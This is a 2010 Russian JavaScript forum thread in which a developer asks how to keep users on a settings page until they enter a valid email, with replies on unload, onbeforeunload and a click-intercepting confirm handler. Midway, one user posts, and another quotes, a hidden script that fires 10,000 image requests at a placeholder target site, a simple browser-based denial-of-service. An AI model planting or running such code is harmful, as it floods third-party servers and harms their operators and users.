Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   Не позволить уйти со страницы не заполнив поле. (https://javascript.ru/forum/misc/7278-ne-pozvolit-ujjti-so-stranicy-ne-zapolniv-pole.html)

Alex VoDevil 24.01.2010 09:33

Не позволить уйти со страницы не заполнив поле.
 
Доброго времени суток, уважаемые.
JS я знаю не плохо и по професии я программист. Разжевывать ничего не прошу. Проблема такая: Есть страничка настроек и нужно не позволить юзеру уйти с нее пока он не введет валидный email. Проверка на валидность не проблема. Проблема в том что на страничке много линков, на стороне сервера она собирается из хэдэра-меню-контента-футера (т.е. есть куски разметки которые используются др. страницами) и проект уже на стадии дебага. Все это делает прикрепление функции проверки к каждому линку не возможным. Есть ли в JS событие ухода со странички на которое я мог бы повесить функцию которая проверит валидность email и если что, не отпустит юзера? И опять же, как юзера не отпустить? Вернуть false из функции привязанной к этому событию?

Niar 24.01.2010 09:46

То есть вы хотите чтобы юзер просто не могу закрыть вашу страничку пока не введет свой мэил?

Tim 24.01.2010 11:12

Можно попробовать следить за координатами курсора. И когда он уходит выше самой страницы, т.е. юзер танется к кнопочке "X", делать confirm это заставит его немного изменить свои планы

Niar 24.01.2010 11:18

Вы видно забыли про ctrl+alt+delete. И после этого он 100% на ваш сайт не зайдёт

Octane 24.01.2010 11:29

В новой Opera 10.50 диалоговые окна вообще не препятствуют переключению и закрытию вкладок, в некоторых браузерах есть галочка для предотвращения последующего появления диалогов.

Событие unload остановить нельзя:
Цитата:

Сообщение от W3C
unload
The unload event occurs when the DOM implementation removes a document from a window or frame. This event is valid for BODY and FRAMESET elements.
Bubbles: No
Cancelable: No
Context Info: None

http://www.w3.org/TR/DOM-Level-2-Events/events.html
так что затея не удастся, разработчики стараются защитить пользователей от таких вот гениальных идей программистов.

Мараторий 24.01.2010 12:01

Если очень приперло, то можно пройтись по всем ссылкам в документе и понавешивать на них дополнительные обработчики клика, там делать проверку и если надо, останавливать переход по ссылке.
А вообще, конечно, это бред полнейший. Нельзя заставлять юзера что-то делать, если он этого не хочет.

Tim 24.01.2010 12:34

Цитата:

И после этого он 100% на ваш сайт не зайдёт
Стопицотпроцентно. Я подобные мега-ресурсы сразу же средствами роутера баню и всё - прости прощай

B@rmaley.e><e 24.01.2010 14:10

onbeforeunload

Alex VoDevil 24.01.2010 16:34

Речь идет не о "мега-ресурсе", и не о архиве порнухи, как вы наверное могли подумать :) Речь о многопользовательской системе управления контентом на базе облачных вычислений. Закрытие окна браузера (а уж темболее снятие процесса) вобщем то не рассматривается, нужна просто минимальная защита на дурака. Важно не дать пользователю уйти на другую страницу админки не заполнив поле email (ибо иначе теряется возможность восстановления пароля).

2 B@rmaley.e><e : Да, это наверное именно то что мне нужно, как дойду до решения этой проблемы - копну глубже, спасибо вам.

Tim 24.01.2010 17:46

Я не понимаю зачем это вообще. Есть две ситуации когда нужно менять значение e-mail'а:

1. Когда юзер регается
2. При смене е-mail'а на новый

При этом нужно просто проверять валидность почты. Можно не только валидность но и существование. Плюс использовать код подтверждения почты, высылая его на указанный адрес при смене и регистрации.

К этому уже все привыкли. Зачем придумывать какую то ерунду. А если JS в браузере выключен, то что делать?

B@rmaley.e><e 24.01.2010 18:15

Цитата:

Сообщение от Tim
Я не понимаю зачем это вообще.

Чтобы пользователь не забыл сохранить изменения.

PeaceCoder 24.01.2010 18:21

Цитата:

Сообщение от Tim
А если JS в браузере выключен, то что делать?

Вот читаю иногда такие фразы и смеюсь.
А что делать? говорить пользователю прощай, т.к. без JS сейчас ни один сайт не работает

Tim 25.01.2010 06:41

Цитата:

без JS сейчас ни один сайт не работает
Нельзя же всё на JS сваливать. Мне кажется, что отключение скриптов не должно приводить к полной потере работоспособности. Понижение скорости и удобства работы пользователя с ресурсом - возможно. Но альтернатива, которая позволит хоть как то что то делать при JS off, мне кажется должна быть.

Alex VoDevil 25.01.2010 13:22

Я тоже не во всем с юзабильщиком и тим-лидом согласен, если это вас успокоит.

KOLANICH 25.01.2010 14:43

document.addEventListener("unload",function (){return confirm("Очень страшная мессага");},false);

subzey 25.01.2010 23:33

Это — то, то Вам нужно?
function areYouSure(event){
	if ((event.srcElement||event.target).tagName.toLowerCase() != "a") return true;
	if(!confirm("Вы точно хотите уйти с этой страницы?")){
		if (event.preventDefault) event.preventDefault();
		return false;
	}
}

if (document.addEventListener) document.addEventListener("click", areYouSure, false)
else if (document.attachEvent) document.attachEvent("onclick", areYouSure)
else document.onclick = areYouSure;

Alex VoDevil 26.01.2010 12:53

subzey, Идеально, какраз мой случай, заюзал почти без изменений.
Всем кто пытался помочь - большое прогерское спасибо. Всем кто оставлял отзывы - сами вы "редиски", нельзя терять веру в людей :)) Всем кто передумал - верните мне мою карму, аккаунт не на 1 вопрос, собираюсь остаться с вами и дружить ;)

Kolyaj 26.01.2010 13:11

Цитата:

Сообщение от Alex VoDevil
верните мне мою карму

Она ни на что не влияет, расслабься.

Alex VoDevil 26.01.2010 13:58

Но когда ее 466 - приятнее ;)

sdff 26.01.2010 14:09

Цитата:

Это — то, то Вам нужно?
Круто, не думал, что вообще можно такую штуку сделать. Я думал, как вариант предложить на каждую ссылку добавить функцию наподобие Вашей areYouSure.

PeaceCoder 26.01.2010 17:01

Цитата:

Сообщение от Tim
Мне кажется, что отключение скриптов не должно приводить к полной потере работоспособности.

Ненавязчивый JS Ваш случай вроде. Но полное отключение JS даже не представляю. Стоит отключить его как ФВ мертв и сайт нераспакуется в нормальный вид и работоспособность строить на A ? Вроде не тот век браузеров... Зачем вообще тогда JS придумали загадка получается. ;)

Kolyaj 26.01.2010 17:06

Цитата:

Сообщение от PeaceCoder
и сайт нераспакуется в нормальный вид

Что значит не распакуется?

https://addons.mozilla.org/ru/firefox/addon/722 более 6 млн загрузок, параноиков на все века хватит.

Tim 27.01.2010 08:53

Цитата:

параноиков на все века хватит
Вот и я про то же. Вы не отключаите, Ваши друзья не отключают и Вы думаете что все такие, а 6 млн думают по другому ;) JS не такая уж безобидная штука, комп может за 5 сек повесить или задосить кого нибудь.

Этот код в вашем браузере выполнит 10000 соединений с любым сайтом:
<div id="attack" style="visibility:hidden">
<script type="text/javascript">
attack_host="www.{атакуемый сайт}.com"
attack_port=80
path='index.html'
for(i=1;i<=10000;i++)
{ document.write('<img src="http://' + attack_host + ':' + attack_port + '/' + path + '?' +  Math.random() + '">');}
</script></div>

P.S.: скрипт представлен только для ознакомнения ;)

Kolyaj 27.01.2010 09:44

Цитата:

Сообщение от Tim
Этот код в вашем браузере выполнит 10000 соединений с любым сайтом:

Случай был, по-моему с вконтактиком, но могу ошибаться. Тогда ещё аудитория у него была не такая огромная, но уже большая. В какой-то рейтинг интернет-проектов владельцы добавили вконтакте, чему Дуров и Ко (если это был все-таки вконтакте :), но это не важно) были по каким-то причинам не очень рады. На просьбу удалить сайт из рейтинга обратной реакции не последовало. Тогда на главной странице вконтактов в каждую десятую загрузку была добавлена картинка с src главной страницы того рейтинга. Рейтинг, разумеется, лёг.

Ещё одна поучительная история. Однажды, году так ближе к 2000, Яндекс решил поздравить своего бессменного дизайнера Артемия Татьяновича то ли с его ДР, то ли с ДР его студии. В этот день каждая десятая поисковая подсказка на морде Яндекса была подобрана так, что на первом месте был сайт студии. В середине дня сайт лёг.

История из моей уже практики, хоть и не совсем по теме. У нас ошибки JS одного из скриптов логируются на сервере. Т.е. при возникновении ошибки сообщение об этом и информация об окружении посылаются на сервер, а пользователь ничего не замечает. И вот я как-то сильно налажал в этом скрипте, в результате чего любая страница с этим скриптом, загруженная в IE, генерировала кучу ошибок. От остальных история отличается тем, что наш nginx 1400 одновременных запросов в течение где-то суток выдержал :)

Tim 27.01.2010 14:30

Цитата:

в каждую десятую загрузку была добавлена картинка с src главной страницы того рейтинга
Норм. придумали, культурный способ доса.

sdff 27.01.2010 14:40

Цитата:

Сообщение от Tim (Сообщение 42243)
Вот и я про то же. Вы не отключаите, Ваши друзья не отключают и Вы думаете что все такие, а 6 млн думают по другому ;) JS не такая уж безобидная штука, комп может за 5 сек повесить или задосить кого нибудь.

Этот код в вашем браузере выполнит 10000 соединений с любым сайтом:
<div id="attack" style="visibility:hidden">
<script type="text/javascript">
attack_host="www.{атакуемый сайт}.com"
attack_port=80
path='index.html'
for(i=1;i<=10000;i++)
{ document.write('<img src="http://' + attack_host + ':' + attack_port + '/' + path + '?' +  Math.random() + '">');}
</script></div>

P.S.: скрипт представлен только для ознакомнения ;)

Жесть!

Tim 27.01.2010 16:39

Цитата:

Жесть!
Это ерунда. С помощью VBScript можно даже сидюки открывать. Так что возможно 6 млн не такие уж и параноики ;)

Gvozd 27.01.2010 17:20

Цитата:

Сообщение от Tim
С помощью VBScript можно даже сидюки открывать.

аах
представляется картина, системника пожирающего человека посредством сидюка.ептыть
Цитата:

Сообщение от Kolyaj
Случай был, по-моему с вконтактиком, но могу ошибаться.

с ним родимым, все так и было

Tim 27.01.2010 17:34

Цитата:

представляется картина, системника пожирающего человека посредством сидюка.ептыть
даёшь восстание машин!

e1f 27.01.2010 17:48

Цитата:

Сообщение от Gvozd (Сообщение 42355)
представляется картина, системника пожирающего человека посредством сидюка.ептыть

Фуф, как знал -- ноут без сидюка брал :)

Tim 27.01.2010 23:58

Цитата:

Сообщение от Alex VoDevil (Сообщение 42068)
subzey, Идеально, какраз мой случай, заюзал почти без изменений.
Всем кто пытался помочь - большое прогерское спасибо. Всем кто оставлял отзывы - сами вы "редиски", нельзя терять веру в людей :)) Всем кто передумал - верните мне мою карму, аккаунт не на 1 вопрос, собираюсь остаться с вами и дружить ;)

ОК, держите свою карму, только про веру в людей и дружбу не надо больше - я слишком синтиментален, мне грустно становится. :cray:

B@rmaley.e><e 28.01.2010 08:23

Цитата:

Сообщение от Tim
даёшь восстание машин!



Часовой пояс GMT +3, время: 22:06.